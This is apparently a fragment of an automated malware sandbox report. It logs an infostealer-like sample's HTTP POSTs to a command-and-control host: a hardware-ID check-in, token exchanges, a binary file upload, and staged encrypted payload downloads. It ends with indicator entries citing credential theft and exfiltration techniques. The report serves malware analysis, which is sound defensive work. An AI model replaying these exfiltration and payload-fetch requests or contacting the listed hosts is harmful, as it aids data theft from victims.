"http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0. "access_token=&debug=http://iuta.today:8521-74" HTTP/1.1 200 OK Server: nginx Date: Fri 24 Apr 2026 22:05:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: iuta.today:8521" with payload::==> "tag=791b9a2ea164e1e81256e2ed6af49ac0&hwid=86dad1c5483efbe98bc17055f1d0373f" HTTP/1.1 200 OK Server: nginx Date: Fri 24 Apr 2026 22:05:08 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-+R9jJpOi+GTzrmzmJTwYlaYf0y0" with response body ==>1BC2B707C385460EC2B849C397C3A8C389C3B4594810C2B3C28849C28BC3BAC3B64723C2881838C39702C2B8C2B6C2BCC3B0C2833970C2A979C29FC3B834C2A1....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=http://iuta.today:8521-883" HTTP/1.1 200 OK Server: nginx Date: Fri 24 Apr 2026 22:05:09 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=2o3gTFaZ3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 883 Host: iuta.today:8521" with payload::==> "--2o3gTFaZ3Content-Disposition: form-data; name="access_token"c7832c16-158a-4b1a-8d62-93088da8f4ec--2o3gTFaZ3Content-Disposition: form-data; name="type"0--2o3gTFaZ3Content-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamð³¤= 6yt=vÊblÑÜ³Âà½ê³.ÿS±ØahßKÓzªôí$à¾ûg¹×õä>Aï|q¹d¯Ü«¦!]OóÔû*ì=-XV%ïaÑÂr2eCýyàh6Év,~ÈÅµêÐÄà{ûÊÛ×y-ý3Ûób®f[á·a¯¢ßý.n¤¨¹DZRnôâyÚÔúT¿ð¬9Aåç!Õv`ÜÏ3´eænXüøºLvàÂñÉß nÃYuYðäÐ»³8-½ä¦ëªMí¨æAi÷r*TEÜÿ¬ø*.ÓoDªú¦@BUøþ elTô`·ëîÔ½ÊCñøû¯$2¡xï5-¼£pºè{wóod¿9°õ&§³±ÛlÆM,8gà2UDSå¶3~]Ð³{Õób¸|ÀLÞ¨öXh¯ë¦ª÷WÖÇSùWÙÉù¸)ôßGo2ì(f¬Æi©)!È#/6ü<Ð:Çb×}sé43<ÖnPì|q¼@þy¢®yð³_eËJ sù¦ÌD)xä>»ßÙæSÜµ=À9ºD&¼.yá?8¤¸UeÁ+\`ázoð±¤¹â O¸¨xôÛ¼"^ö$ö&É)«.Ç+E·--2o3gTFaZ3--" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:10 GMT Content-Length: 8 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true with response body ==>7265636569766564......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=http://iuta.today:8521-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&step=1" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:12 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-koWkgqliSUCpAcMrga0x+nNuFog" with response body ==>75C38EC29C1CC2A57232C3B45BC3A84DC38E7011C2A06E17C39432C2B022C285C3A10C16C3BFC3A1C290C3B6C2AE1DC296C3B50F09C2A54FC39AC39C4AC29F58......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=http://iuta.today:8521-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&step=2" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:13 GMT Content-Type: application/octet-stream Content-Length: 6882 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1ae2-Pz94YG0fPylSpSbRXWscwQypDEw" with response body ==>061AC2AD0CC2B0C3894CC39F79C39FC3B3C3803CC2894B461944C39C18C3826AC3A362C2BCC38DC399C2A41437C39960C3B7C2A27101541AC2865B433AC2A746......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 81 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=http://iuta.today:8521-56" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&step=3" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:15 GMT Content-Type: application/octet-stream Content-Length: 44334 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad2e-LUkGo7Hmp4iBsvRn9d5IJ5XRrrs" with response body ==>C3B8C38179161CC3B044C2843D79C3A0C29230C3B874C3906108C3A06A1D08C3A1C38DC2A670C284135570C384C298C280C2ABC3A3002F0945282AC39FC2A349......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:22 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:23 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:24 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: iuta.today:8521" with payload::==> "access_token=c7832c16-158a-4b1a-8d62-93088da8f4ec&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri, 24 Apr 2026 22:05:24 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......4b:Tbac," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Able to disable driver signature enforcement","description":"Found string \"%SystemRoot%\\System32\\ci.dll,-101\" (Indicator: \"ci.dll\"; Source: \"00000000-00002136.00000002.170145.D65DD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1553.006","relevance":1,"id":"string-586","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Dotted Quad Host DLL Request\" (SID: 2027250, Rev: 6, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"5/27 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$4a","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.81.2.164 on port 443 is sent without HTTP header\n TCP traffic to 77.91.97.98 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00002136.00000000.166453.D6590000.00000004.mdmp, 00000000-00002136.00000001.168372.D6590000.00000004.mdmp, 00000000-00002136.00000002.170145.D6590000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\" \"tag=791b9a2ea164e1e81256e2ed6af49ac0&hwid=86dad1c5483efbe98bc17055f1d0373f\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69ebe8f419259c58bb02ea90"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"\"